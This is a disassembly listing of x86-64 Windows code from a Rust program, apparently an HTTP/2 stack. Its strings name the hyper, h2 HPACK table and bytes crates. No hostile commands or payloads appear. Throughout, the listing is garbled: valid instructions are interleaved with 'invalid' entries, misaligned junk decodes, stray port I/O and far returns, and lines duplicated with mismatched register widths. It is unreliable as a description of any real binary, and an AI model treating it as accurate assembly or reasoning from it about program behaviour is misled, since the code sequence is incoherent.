je 0x14002b0a8
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
and al, 0xc8
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
add byte [rax - 0x73], cl
adc eax, 0x1173e5
in eax, 0x73
adc dword [rax], eax
and al, 0xc8
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1173e5
in eax, 0x73
adc dword [rax], eax
in eax, 0x73
adc dword [rax], eax
lea rcx, [rsp + 0x2a8]
lea ecx, [rsp + 0x2a8]
call fcn.140108560
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x1401170d0]
mov edx, 0x28
add byte [rax], al
add byte [rax], al
call fcn.140108630
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
invalid
fisttp dword [rdi]
add byte [rdx + 0x14], bh
call fcn.140108990
invalid
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x1401170b8]
mov edx, 0x28
call fcn.140108630
add ch, dl
invalid
invalid
jno 0x14002b0dc
invalid
add ch, dl
or eax, 0xd8d4800
leave
push rcx
adc dword [rax], eax
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
add byte [rdx + 0x14], bh
call fcn.140108990
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, r14
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, rbx
call fcn.1401085a0
mov ecx, 8
mov edx, 0xc0
add al, ch
invalid
invalid
invalid
invalid
add al, ch
invalid
mov ecx, 8
mov rdx, r15
call fcn.1401082a0
call fcn.140010970
mov qword [rsp + 0xc0], rbx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x160], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x2a8]
call fcn.140108560
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
int3
cmp r12, r15
jae 0x14002b4e1
add rdi, 0x10
nop word [rax + rax]
mov rcx, rdi
call fcn.14001d860
add rdi, 0x60
dec r14
dec esi
jne 0x14002b4d0
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x40], 0
mov dword [rsi + 0x40], 0
add rsp, 0x20
pop rbx
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
push rbx
sub rsp, 0x78
mov rdi, r9
js 0x14002b56d
mov edi, ecx
mov r15, r8
mov r14, rdx
mov rsi, rcx
movzx ebp, byte [rsp + 0xf8]
mov r12, qword [rsp + 0xf0]
movzx eax, byte [r8 + 0x40]
clc
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xf0
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x40
test al, al
test al, al
je 0x14002b58a
or al, 0xf8
cmp al, 0xfa
jae 0x14002b58a
cmp bpl, 2
jne 0x14002b757
add al, byte [rax]
add byte [rcx - 0x75], cl
mov qword [rsi + 0x48], rax
mov rax, qword [r15 + 0x40]
mov qword [rsi + 0x48], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
adc byte [rdi + 0x10], cl
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
adc byte [rdi + 0x30], bl
movups xmmword [rsi + 0x38], xmm3
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov eax, 4
jmp case.0x14001d534.302
mov rbx, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
invalid
loopne 0x14002b598
add byte [rax], al
mov rcx, r15
call fcn.14001d760
add qword [r14 + 0x48], rax
mov rcx, r14
xor edx, edx
call fcn.14002b7e0
test r13, r13
test ebp, ebp
je 0x14002b612
test al, al
je 0x14002b612
mov rax, qword [r14 + 0x38]
mov r8, qword [r14 + 8]
mov eax, dword [rsi + 8]
mov rdx, qword [r14 + 0x10]
jmp 0x14002b5db
dec r13
mov rbx, rcx
test r13, r13
je 0x14002b612
lea rcx, [rbx - 1]
and rcx, rax
cmp rcx, rdx
jae 0x14002b7b8
lea r9, [rcx + rcx*2]
cmp qword [r8 + r9*8], 0
je 0x14002b5d0
lea r9, [r8 + r9*8]
mov r9, qword [r9 + 0x10]
and r9, rax
mov r10, rcx
sub r10, r9
and r10, rax
dec r13
cmp r10, r13
jb 0x14002b5d3
mov rax, qword [r15 + 0x40]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
adc byte [rdi + 0x20], dl
movups xmm3, xmmword [r15 + 0x30]
movups xmmword [rsp + 0x60], xmm3
movups xmmword [rsp + 0x50], xmm2
push rax
movups xmmword [rsp + 0x40], xmm1
inc qword [r14 + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rax, qword [r14 + 0x18]
sbb byte [rcx - 0x75], r9b
xor byte [rax + 0x39], r9b
invalid
jne 0x14002b664
lea rcx, [r14 + 0x18]
call fcn.14002bb00
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
dec rdx
retf 0x148
ror byte [rax + 0xf], 1
ret 0x8b49
push rsi
and byte [rcx - 0x77], cl
sub byte [rax - 1], r9b
ror dword [rcx - 0x77], 0x4e
xor byte [rax - 0x73], r9b
add al, 0x40
shl rax, 5
mov qword [rdx + rax], 0
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movups xmm3, xmmword [rsp + 0x58]
movups xmmword [rdx + rax + 8], xmm0
movups xmmword [rdx + rax + 0x18], xmm1
movups xmmword [rdx + rax + 0x28], xmm2
movups xmmword [rdx + rax + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rdx + rax + 0x48], xmm0
mov qword [rdx + rax + 0x58], rdi
mov rdx, qword [r14 + 0x10]
cmp rbx, rdx
jae 0x14002b7c4
xor ecx, ecx
sub rcx, qword [r14 + 0x40]
mov rax, qword [r14 + 8]
lea r8, [rbx + rbx*2]
mov r9, qword [rax + r8*8]
movups xmm0, xmmword [rax + r8*8 + 8]
mov qword [rax + r8*8], 1
mov qword [rax + r8*8 + 8], rcx
mov qword [rax + r8*8 + 0x10], rdi
cmp r9, 1
jne 0x14002b747
inc rbx
nop dword [rax + rax]
mov rcx, rbx
mov ebx, 0
cmp rcx, rdx
jae 0x14002b710
lea r8, [rcx + rcx*2]
cmp qword [rax + r8*8], 0
mov qword [rax + r8*8], 1
movups xmm1, xmmword [rax + r8*8 + 8]
movups xmmword [rax + r8*8 + 8], xmm0
movups xmmword [rax + rax*8 + 8], xmm0
movups xmmword [rax + rax*8 + 8], xmm0
je 0x14002b747
inc rcx
movaps xmm0, xmm1
mov rbx, rcx
jmp 0x14002b710
cmp bpl, 2
jne case.0x14001d534.297
mov eax, 2
xor r12d, r12d
jmp 0x14002b7a0
add byte [rbp + 0x31], al
in al, 0xeb
not bpl
not bpl
mov qword [rsi + 8], r12
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
and byte [rcx + 0xf], al
adc byte [rdi + 0x30], bl
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
movups xmmword [rsi + 0x30], xmm2
movups xmmword [rsi + 0x40], xmm3
mov rax, qword [r15 + 0x40]
mov qword [rsi + 0x50], rax
and bpl, 1
movzx eax, bpl
mov dh, 0xc5
mov dh, 0xc5
jmp case.0x14001d534.302
mov qword [rsi + 0x10], 0
mov eax, 3
mov qword [rsi + 8], r12
mov qword [rsi], rax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
add eax, 0xfd5bd
mov rcx, rbx
call fcn.1401085b0
int3
fld1
invalid
int3
int3
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x48], edx
mov r12, rcx
mov rax, qword [rcx + 0x48]
mov rcx, qword [rcx + 0x50]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rcx
and al, 0x30
cmp rax, rcx
jbe 0x14002baad
mov rax, qword [r12 + 0x40]
not rax
not rax
mov qword [rsp + 0x38], rax
mov rax, qword [r12 + 0x18]
mov qword [rsp + 0x58], rax
pop rax
pop rax
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x50], rax
mov rdi, qword [r12 + 0x20]
mov r15, qword [r12 + 0x38]
mov edi, dword [rsp + 0x38]
mov edi, dword [rsp + 0x38]
mov r13, qword [r12 + 8]
mov r14, qword [r12 + 0x10]
mov rbx, qword [r12 + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
jmp 0x14002b8af
nop word cs:[rax + rax]
cmp qword [rsp + 0xb8], 0
add byte [rax], al
add byte [rax], al
je 0x14002ba00
mov rdx, qword [rsp + 0xc0]
add byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
push rax
or byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add al, ch
mov qword [rax], 1
mov qword [rax + 8], rdx
lea rcx, [rsp + 0xc8]
call fcn.14001d860
rcr dword [rdi], 0xff
dec dword [rax - 0x75]
and al, 0x20
rcr dword [rdi], 0xff
dec dword [rax - 0x75]
and al, 0x20
cmp rax, qword [rsp + 0x30]
jbe 0x14002baad
mov rbp, rbx
sub rbx, 1
jb 0x14002bae9
mov qword [r12 + 0x30], rbx
mov rax, qword [rsp + 0x50]
add rax, rbx
mov rcx, qword [rsp + 0x58]
cmp rax, rcx
mov edx, 0
cmovb rcx, rdx
sub rax, rcx
lea rcx, [rax + rax*2]
shl rcx, 5
mov rax, qword [rdi + rcx]
mov rdx, qword [rdi + rcx + 0x58]
mov qword [rsp + 0xb0], rdx
movups xmm0, xmmword [rdi + rcx + 0x48]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rdi + rcx + 0x38]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rdi + rcx + 0x28]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rdi + rcx + 0x18]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rdi + rcx + 8]
movaps xmmword [rsp + 0x60], xmm0
cmp rax, 2
je 0x14002bae9
add rbp, qword [rsp + 0x38]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
lea rcx, [rsp + 0xc0]
mov qword [rcx + 0x50], rax
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rcx + 0x40], xmm0
adc dword [rcx + 0x40], eax
adc dword [rcx + 0x40], eax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], bl
sub byte [rsp + 0x90], bl
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rsi, qword [rsp + 0x110]
add byte [rax], al
add byte [rax], al
and rsi, r15
lea rcx, [rsp + 0xc8]
lea ecx, [rsp + 0xc8]
dec byte [rax - 0x73]
mov word [rax + rcx*8], fs
add byte [rax], al
lea ecx, [rsp + 0xc8]
add al, ch
mov bh, 0x1d
call fcn.14001d760
mov rcx, r12
mov ecx, esp
invalid
mov ecx, esp
mov rdx, qword [rsp + 0x20]
sub rdx, rax
ret 0x8948
push rsp
and al, 0x20
ret 0x8948
and al, 0x20
and byte [rcx - 0x77], cl
push rsp
and al, 0x48
mov qword [r12 + 0x48], rdx
nop
nop
mov rcx, rsi
mov esi, 0
cmp rcx, r14
cmp ecx, esi
cmp ecx, esi
jae 0x14002b9c0
lea rax, [rcx + rcx*2]
cmp qword [r13 + rax*8], 0
invalid
add byte [rax], al
je 0x14002badd
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
add byte [rax], al
lea rax, [rax*8]
add al, 0xc5
add byte [rax], al
add byte [rax], al
add rax, r13
cmp qword [rax + 8], rbp
or byte [rdi], cl
test byte [rsi - 2], bh
invalid
invalid
or byte [rdi], cl
test byte [rsi - 2], bh
invalid
inc rcx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
jmp 0x14002b9c0
invalid
cmp qword [rsp + 0x48], 0
cmp dword [rsp + 0x48], 0
je case.0x14002ad69.158
adc byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
cmp rbp, qword [rsp + 0x40]
je 0x14002b887
mov qword [rax], 0
lea rdx, [rcx + 1]
add byte [rax - 0x73], cl
push rcx
add dword [rsi + 0x66], esp
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
mov rax, rdx
mov edx, 0
add byte [rax], al
add byte [rax], al
cmp rax, r14
jae 0x14002ba30
invalid
lea rdx, [rax + rax*2]
cmp qword [r13 + rdx*8], 0
add byte [rax], al
add byte [rax], al
je 0x14002b892
lea rdx, [rdx*8]
adc al, 0xd5
add byte [rax], al
add byte [rax], al
add rdx, r13
add edx, ebp
mov r8, qword [rdx + 0x10]
and r8, r15
mov r9, rax
sub r9, r8
test r9, r15
je 0x14002b892
invalid
invalid
invalid
invalid
mov r8, qword [rdx + 0x10]
mov qword [rsp + 0x70], r8
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rdx], 0
cmp rcx, r14
jae 0x14002bace
lea rcx, [rcx + rcx*2]
mov rdx, qword [rsp + 0x70]
mov qword [r13 + rcx*8 + 0x10], rdx
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [r13 + rcx*8], xmm0
lea rdx, [rax + 1]
mov rcx, rax
jmp 0x14002ba30
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
seta al
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rdx, r14
sti
ror byte [rdi], cl
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1401085b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
lea ecx, [0x140128db8]
call fcn.140108970
or eax, 0xd8d4800
mov al, 0xd2
ror byte [rdi], cl
add al, ch
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
or eax, 0xfd2b0
ror byte [rdi], cl
add al, ch
call fcn.140108970
int3
jnp 0x14002bac1
or eax, 0xcccccc00
int3
int3
sub rsp, 0x20
mov rsi, rcx
mov rbx, qword [rcx]
call fcn.14003a9e0
out dx, al
add byte [rax], al
invalid
out dx, al
add byte [rax], al
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rbx
sub rdx, rax
cmp rcx, rdx
ret 0x3948
jbe 0x14002bb92
insd dword [rdi], dx
mov rdi, qword [rsi]
mov r8, rbx
sub r8, rcx
sub rax, r8
sub eax, eax
sub eax, eax
cmp r8, rax
cmp eax, eax
jbe 0x14002bb64
mov rdx, rdi
mov rdx, rdi
sub rdx, rbx
cmp rdx, rax
fimul dword [rax + 0x39]
ret 0x2372
jb 0x14002bb64
jb 0x14002bb64
and ecx, dword [rax - 0x75]
push rsi
or byte [rax - 0x73], cl
invalid
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
or al, 0x5b
shl rcx, 5
loope 0x14002bb52
add rcx, rdx
shl rax, 5
shl eax, 5
ror dword [rax - 0x3f], 1
shl eax, 5
loopne 0x14002bb59
add eax, 0x40048d4c
lea r8, [rax + rax*2]
lea eax, [rax + rax*2]
add rsp, 0x20
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140106530
invalid
invalid
or eax, 0xc7294c00
add byte [rcx + rbp - 0x39], cl
sub rdi, r8
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
lea rdx, [rcx + rcx*2]
adc al, 0x49
shl rdx, 5
add rdx, rax
lea rcx, [rdi + rdi*2]
lea ecx, [rdi + rdi*2]
lea ecx, [rdi + rdi*2]
or al, 0x7f
jg 0x14002bbc3
shl rcx, 5
shl ecx, 5
add rcx, rax
shl r8, 5
add eax, 0x40048d4f
add eax, 0x40048d4f
call fcn.140106530
mov qword [rsi + 0x10], rdi
mov dword [rsi + 0x10], edi
movabs byte [0x48107e8948000da9], al
or eax, 0x7e894800
adc byte [rax - 0x7d], cl
invalid
invalid
mov dword [rsi + 0x10], edi
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
ret
int3
int3
int3
sub rsp, 0x28
movzx eax, byte [rcx + 0x40]
invalid
invalid
sub byte [rdi], cl
mov dh, 0x41
lea edx, [rax - 2]
lea edx, [rax - 2]
lea edx, [rax - 2]
dec al
xor r8d, r8d
xor eax, eax
xor eax, eax
cmp dl, 6
movzx eax, al
cmovae eax, r8d
ror byte [rdi], 0xb6
invalid
cli
invalid
ror byte [rdi], 0xb6
mov dh, 0xc0
ror byte [rax - 0x73], 0x15
in al, 0xb2
lea rdx, [0x140176ea8]
adc eax, 0x14b2e4
adc al, 0
add byte [rax + 0x63], cl
add al, 0x82
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
sar bh, 1
loopne 0x14002bc16
invalid
jmp rax
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [rax - 0x75], cl
push rcx
adc byte [rax - 0x7d], cl
mov rdx, qword [rcx + 0x10]
add rsp, 0x28
invalid
sub bl, al
invalid
mov rax, qword [rcx + 0x28]
mov eax, dword [rcx + 0x28]
sub byte [r8 - 0x75], cl
push rcx
mov rdx, qword [rcx + 0x30]
add rsp, 0x28
add esp, 0x28
xor byte [rax - 0x7d], cl
invalid
add esp, 0x28
ret
movzx eax, byte [rcx]
mov edx, 7
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
add byte [rax], al
lea r8, [0x140176ec4]
movsxd rax, dword [r8 + rax*4]
invalid
mov dl, 0x14
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
loopne 0x14002bc48
lea rax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea eax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
add rsp, 0x28
add esp, 0x28
ret
mov eax, dword [rcx]
add eax, 0xffffff9c
invalid
pushfq
rcr byte [rdi + rcx - 0x72b73f49], 0xc
pushfq
movzx eax, ax
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
add rax, rcx
mov edx, 3
add byte [rax], al
invalid
enter 0x3ba, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
ret
lea rax, [0x14012bd5e]
mov edx, 3
add byte [rdx + 3], bh
add rsp, 0x28
ret
lea rax, [0x14012bd77]
mov edx, 5
add byte [rdx + 5], bh
add rsp, 0x28
ret
lea rax, [0x14012bd57]
mov edx, 3
add byte [rax], al
add byte [rdx + 3], bh
add byte [rax], al
add rsp, 0x28
ret
lea rax, [0x14012bd5a]
mov edx, 4
add byte [rdx + 4], bh
add rsp, 0x28
ret
lea rax, [0x14012bd6b]
mov edx, 5
add byte [rdx + 5], bh
add rsp, 0x28
ret
lea rax, [0x14012bd61]
mov edx, 6
add byte [rdx + 6], bh
add rsp, 0x28
ret
lea rax, [0x14012bd67]
mov edx, 4
add byte [rax], al
add byte [rax], al
add rsp, 0x28
ret
movzx edx, byte [rcx + 0x10]
cmp rdx, 0x10
jae 0x14002bcc3
inc rcx
mov rax, rcx
add rsp, 0x28
ret
lea rax, [0x14012bd70]
add rsp, 0x28
ret
lea r8, [0x14012a2b8]
mov rcx, rdx
mov edx, 0xf
call fcn.140108620
int3
add byte [rax], al
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0xe8]
and al, 0xe8
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x180], eax
and al, 0x80
add dword [rax], eax
invalid
and al, 0xe8
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x180], eax
and al, 0x80
add dword [rax], eax
invalid
and al, 0x80
add dword [rax], eax
add byte [rax - 0x7c], al
test byte [rdi], 0x84
lodsd eax, dword [rsi]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rcx + riz*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x37
test sil, sil
je 0x14002c8e3
mov rax, qword [rsp + 0xa1]
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x37], rcx
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0xc0], 0
jne 0x14002c8f5
lea rax, [rsp + 0xd8]
mov r9, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov byte [rsp + 0x100], sil
mov rcx, qword [rax - 0x37]
mov r8, qword [rax - 0x30]
mov eax, dword [rax - 0x30]
mov eax, dword [rax - 0x30]
mov qword [rsp + 0x101], rcx
mov qword [rsp + 0x108], r8
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x130], r10
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x138], xmm0
movups xmmword [rsp + 0x148], xmm1
lea rcx, [rsp + 0xc8]
xor eax, eax
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdi, r10
call qword [r9 + 0x10]
mov r10, rdi
jmp 0x14002ca3f
mov sil, 3
cmp qword [rsp + 0xc0], 0
je 0x14002c98b
mov rdx, qword [rsp + 0xb0]
mov byte [rsp + 0x100], sil
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x37]
mov qword [rsp + 0x101], rax
mov qword [rsp + 0x108], rcx
mov rax, rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x110], rdx
movups xmm0, xmmword [rsp + 0xb8]
movups xmmword [rsp + 0x118], xmm0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], r10
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x138], xmm0
movups xmmword [rsp + 0x148], xmm1
test dil, dil
je 0x14002ca3f
mov r15, r10
xor r8d, r8d
jmp 0x14002ca21
mov rax, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov edx, dword [rsp + 0xb8]
mov byte [rsp + 0x100], 3
mov rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x37]
mov qword [rsp + 0x101], rcx
mov qword [rsp + 0x108], r8
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
xlatb
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
xlatb
mov qword [rsp + 0x130], r10
movaps xmm0, xmmword [rsp + 0x170]
